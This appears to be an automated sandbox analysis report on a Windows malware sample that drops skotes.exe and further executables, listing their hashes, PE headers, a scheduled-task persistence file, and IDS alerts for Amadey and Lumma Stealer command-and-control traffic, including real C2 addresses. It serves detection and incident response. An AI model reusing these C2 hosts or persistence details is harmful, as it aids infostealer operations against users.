SHA-512:	74E84F710C90121527F06D453E9286910F2E8B6AC09D2AEB4AB1F0EAD23EA9B410C5D1074D8BC759BC3E766B5BC77D156756C7DF093BA94093107393290CED97
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.cg..............0......2........... ........@.. .......................`............@.....................................W.......H/...................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H/.......0..................@..@.reloc.......@......................@..B........................H........<..........K.......`p...........................................Y?.F60...5..8....4zc.:.V........N.0...1.....O*.S..~.......I...pR..iI......Pn}...iJ!BH.+o/S..yj...8T'.}....y.I.kD.....'....$.6....}..w[. )...j..[.-..0....\|...p....h\..L....R.T.~......b.K.h....".8.s`)...1... ....[i&.9....a?.F..N..~..._.^...Q.....43.L.....@v...x..IB.4...........\|......(........~.Y.L.S..;..x.)w...v...:..2.....y.%{3w.)..^..7......@...7..k.H..p}."..%.p....0.g.3....g..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	810496
Entropy (8bit):	7.808597434734726
Encrypted:	false
SSDEEP:	24576:grtEhokkSG4bPWQ8C8z3zcB49CNPWQ8C8z3zcB49Cx:grGhokkSG4bPWQv8z3BYNPWQv8z3BYx
MD5:	E8AF4D0D0B47AC68D762B7F288AE8E6E
SHA1:	1D65F31526CC20AB41D6B1625D6674D7F13E326C
SHA-256:	B83449768E7AF68867C8BC42B19FF012722D88EA66AEF69DF48661E63E0EB15E
SHA-512:	80FAD90314FF639F538A72C5E4CA2BF9AE52B9309CAA7CD6F87D61791505BB3612B7F3190AB9B67348C5D71F4D29BB9D101E3F66D525EB9B5E2060A10B2D187A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....^g.........."......f........................@.......................................@.....................................P....p..........................x...........................x.......................`...\|............................text...md.......f.................. ..`.rdata..............n..............@..@.data...,%... ......................@....CODE........P....... .............. ..`.tls.........`.......0..............@....rsrc........p.......2..............@..@.reloc..x............4..............@..B.bss.................R..............@....bss.........0......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4465152
Entropy (8bit):	7.983536487642573
Encrypted:	false
SSDEEP:	98304:xf1ENWMjU7xdmny5GMwMFyzDwFNJkMOxkUyxOn:F1EjUNdCy52zEUYO
MD5:	979B5B392C771138DDBDD0E534FC3F00
SHA1:	2BA57039B4541EC462591EAB7A4181780328715D
SHA-256:	7233ECB4E0AD223BCDAF7D6A48B7C1999CEA69E3E83E8E02F5DCAE04A6C67E42
SHA-512:	ADCEF3EE9BB2933F0F89160D0D24122785A3A708C51DC1295DF0425FE2B6EFD0633DD110DEC53A44E0B0D326C58C78358EC244D0E8D5CAA94DFFB7ABCC0AE998
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...@.......PD...@..........................p........D...@... ............................._.a.s.....a......................$..............................x$...................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..8...a......R(.............@...oqomgfsk.............T(.............@...ieoflvje.....0........C.............@....taggant.0...@..."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1114112
Entropy (8bit):	7.7336985855739355
Encrypted:	false
SSDEEP:	24576:FAu2uOTJr0/sBIpMvVEDvtNNVpk3BLSx+ptEH76duCiheu2:4ugJAGIpMmZNNEBLSx4EHGxiC
MD5:	EF08A45833A7D881C90DED1952F96CB4
SHA1:	F04AEEB63A1409BD916558D2C40FAB8A5ED8168B
SHA-256:	33C236DC81AF2A47D595731D6FA47269B2874B281152530FDFFDDA9CBEB3B501
SHA-512:	74E84F710C90121527F06D453E9286910F2E8B6AC09D2AEB4AB1F0EAD23EA9B410C5D1074D8BC759BC3E766B5BC77D156756C7DF093BA94093107393290CED97
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.cg..............0......2........... ........@.. .......................`............@.....................................W.......H/...................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H/.......0..................@..@.reloc.......@......................@..B........................H........<..........K.......`p...........................................Y?.F60...5..8....4zc.:.V........N.0...1.....O*.S..~.......I...pR..iI......Pn}...iJ!BH.+o/S..yj...8T'.}....y.I.kD.....'....$.6....}..w[. )...j..[.-..0....\|...p....h\..L....R.T.~......b.K.h....".8.s`)...1... ....[i&.9....a?.F..N..~..._.^...Q.....43.L.....@v...x..IB.4...........\|......(........~.Y.L.S..;..x.)w...v...:..2.....y.%{3w.)..^..7......@...7..k.H..p}."..%.p....0.g.3....g..

C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4455936
Entropy (8bit):	7.984274346584204
Encrypted:	false
SSDEEP:	98304:FjaYA0yQVH41Rf/LiuDuNPgfEwuJvY9T6/B0YOaHlpEwjXwzwVcKbD:F/yQN41h+uDSPgAZY9TKGaF62Xws5
MD5:	5968B059B7177E6F97A543A06E670B29
SHA1:	281BFAFA819325EBC98BA8A2EB63C581ABD5CF01
SHA-256:	460AE596176DEF8A7109CC2ED5FCF0C5736F45E91F47DA0FB75587091B8D2B3C
SHA-512:	2C5419A00BAEC53A0712C33E9C8EA82266A34E5105BDB9CEDF2B0B82F24F54EAF08EAEA321F1C36EF57284922184EF77260AEF38991C3370FEEAA5EDCCEB9ED6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2...........pH...@.................................v,D...@... ............................._pt.s....`t.....................................................H....................................................... . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... ..8...t......`(.............@...sshkjhii.....@...v...b(.............@...vjqzdwsz..............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	810496
Entropy (8bit):	7.808597434734726
Encrypted:	false
SSDEEP:	24576:grtEhokkSG4bPWQ8C8z3zcB49CNPWQ8C8z3zcB49Cx:grGhokkSG4bPWQv8z3BYNPWQv8z3BYx
MD5:	E8AF4D0D0B47AC68D762B7F288AE8E6E
SHA1:	1D65F31526CC20AB41D6B1625D6674D7F13E326C
SHA-256:	B83449768E7AF68867C8BC42B19FF012722D88EA66AEF69DF48661E63E0EB15E
SHA-512:	80FAD90314FF639F538A72C5E4CA2BF9AE52B9309CAA7CD6F87D61791505BB3612B7F3190AB9B67348C5D71F4D29BB9D101E3F66D525EB9B5E2060A10B2D187A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....^g.........."......f........................@.......................................@.....................................P....p..........................x...........................x.......................`...\|............................text...md.......f.................. ..`.rdata..............n..............@..@.data...,%... ......................@....CODE........P....... .............. ..`.tls.........`.......0..............@....rsrc........p.......2..............@..@.reloc..x............4..............@..B.bss.................R..............@....bss.........0......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1374720
Entropy (8bit):	7.0671827674657335
Encrypted:	false
SSDEEP:	24576:fYlZH+uQDPYLZtPikfLyXFD3qRc4f6GO4k88P9VB77Ml8fmMxHr:fYu7DPYLZtakzyVD3ELCh//+8fmW
MD5:	669ED3665495A4A52029FF680EC8EBA9
SHA1:	7785E285365A141E307931CA4C4EF00B7ECC8986
SHA-256:	2D2D405409B128EEA72A496CCFF0ED56F9ED87EE2564AE4815B4B116D4FB74D6
SHA-512:	BEDC8F7C1894FC64CDD00EBC58B434B7D931E52C198A0FA55F16F4E3D44A7DC4643EAA78EC55A43CC360571345CD71D91A64037A135663E72EED334FE77A21E6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 28%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....h.D..........&....&..........................@..........................p......\U....@... ..............................P..........,l.......................c...................................................T...............................text...............................`..`.data...H...........................@....rdata..............................@..@.eh_fram............p..............@..@.bss....4....@...........................idata.......P......................@....CRT....8....p.......$..............@....tls.................&..............@....rsrc...,l.......n...(..............@..@.reloc...c.......d..................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2913280
Entropy (8bit):	6.561039956841538
Encrypted:	false
SSDEEP:	49152:MuKEsPLkHAcks/UXiMnGgLfgTtdJFPWWlo03rwQj:hsPLkHAhSUXHGgkxdvPWWld
MD5:	636ECA2DE789EF5733F243CD5F696D3E
SHA1:	E346D7C38FB89E58059EF4223DE0FBF9231D6735
SHA-256:	1974835D38D2BB7D1133DAE6AA076705503B417D8E1B6456F3BA20616BE7B24D
SHA-512:	F55D4EEA8F3D251FE157C6B3AF2BD3D9FEA330A2141B2B8D0C5FFCF4339362B3B0BED30CC9B71E52D3C70074AD95A6A64A93F99AEFC1D9C41211D4D293D6AB0D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. 0...........@..........................P0.....L.,...@.................................W...k...........................d.0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...oeuwnblr.`)......X).................@...pajpzcfp......0......L,.............@....taggant.0... 0.."...R,.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.385799768536986
Encrypted:	false
SSDEEP:	6:1ze7qjbXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0l0ut0:122rf2RKQ1CGAFAjzvYRQV0ut0
MD5:	4DED12826F2F6E2563EA0F58383847E2
SHA1:	D2244A51721F7160534BF2F772C5DADDD63BD811
SHA-256:	B8B4AAC997071597516F34F6CC8F61782BE3BCBD656D478F232C5C2CA31A5F55
SHA-512:	6EC56CB6C1064BD0B7F08B7D50E4F7605D16C511C021B5F84A3A886C5BC1FE3DB3144C65C474A0C89A9715C735E889559F271636BC27B2A112B1E56DB5D4E01A
Malicious:	false
Preview:	....kv%..{.A.uB..p.^F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.561039956841538
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'913'280 bytes
MD5:	636eca2de789ef5733f243cd5f696d3e
SHA1:	e346d7c38fb89e58059ef4223de0fbf9231d6735
SHA256:	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d
SHA512:	f55d4eea8f3d251fe157c6b3af2bd3d9fea330a2141b2b8d0c5ffcf4339362b3b0bed30cc9b71e52d3c70074ad95a6a64a93f99aefc1d9c41211d4d293d6ab0d
SSDEEP:	49152:MuKEsPLkHAcks/UXiMnGgLfgTtdJFPWWlo03rwQj:hsPLkHAhSUXHGgkxdvPWWld
TLSH:	53D55C92B80A71CFD4CE177894B7CD82795D4ABA4B2084C3982C75BBBD73CD522B5C29
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x702000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF0E0B9EF8Ah
rsqrtps xmm5, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FF0E0BA0F85h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x300164	0x10	oeuwnblr
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x300114	0x18	oeuwnblr
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	8a926ddb2c6eef4b85afe06b11e3f219	False	0.9979830126021798	data	7.983320247485902	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x400	216b61d672a929646938122c01e225ee	False	0.7080078125	data	5.867191980121803	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oeuwnblr	0x6b000	0x296000	0x295800	26b0d04e94a5a725b2cfa7b2410b5419	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pajpzcfp	0x301000	0x1000	0x600	2a17c7a7d521b06305647e1ebe7c3f59	False	0.556640625	data	4.872405937509899	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x302000	0x3000	0x2200	af7b4c5e2b828d39ed95f893397e4d3c	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x300174	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x300558	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T07:12:05.450837+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49747	185.215.113.43	80	TCP
2024-12-20T07:12:10.150335+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49759	31.41.244.11	80	TCP
2024-12-20T07:12:14.039190+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49756	TCP
2024-12-20T07:12:14.960288+0100	2058397	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)	1	192.168.2.4	62065	1.1.1.1	53	UDP
2024-12-20T07:12:15.390230+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49771	185.215.113.43	80	TCP
2024-12-20T07:12:16.508655+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49775	172.67.209.202	443	TCP
2024-12-20T07:12:16.508655+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49775	172.67.209.202	443	TCP
2024-12-20T07:12:16.836888+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49777	31.41.244.11	80	TCP
2024-12-20T07:12:17.272931+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49775	172.67.209.202	443	TCP
2024-12-20T07:12:17.272931+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49775	172.67.209.202	443	TCP
2024-12-20T07:12:18.505324+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49780	172.67.209.202	443	TCP
2024-12-20T07:12:18.505324+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49780	172.67.209.202	443	TCP
2024-12-20T07:12:19.308855+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49780	172.67.209.202	443	TCP
2024-12-20T07:12:19.308855+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49780	172.67.209.202	443	TCP
2024-12-20T07:12:20.962782+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49789	172.67.209.202	443	TCP
2024-12-20T07:12:20.962782+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49789	172.67.209.202	443	TCP
2024-12-20T07:12:23.819421+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49797	172.67.209.202	443	TCP
2024-12-20T07:12:23.819421+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49797	172.67.209.202	443	TCP
2024-12-20T07:12:23.824815+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49796	172.67.180.113	443	TCP
2024-12-20T07:12:23.863075+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49795	185.215.113.43	80	TCP
2024-12-20T07:12:24.561060+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49796	172.67.180.113	443	TCP
2024-12-20T07:12:24.561060+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49796	172.67.180.113	443	TCP
2024-12-20T07:12:24.765836+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49797	172.67.209.202	443	TCP
2024-12-20T07:12:25.318927+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49801	31.41.244.11	80	TCP
2024-12-20T07:12:25.788736+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49804	172.67.180.113	443	TCP
2024-12-20T07:12:26.545974+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49804	172.67.180.113	443	TCP
2024-12-20T07:12:26.545974+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49804	172.67.180.113	443	TCP
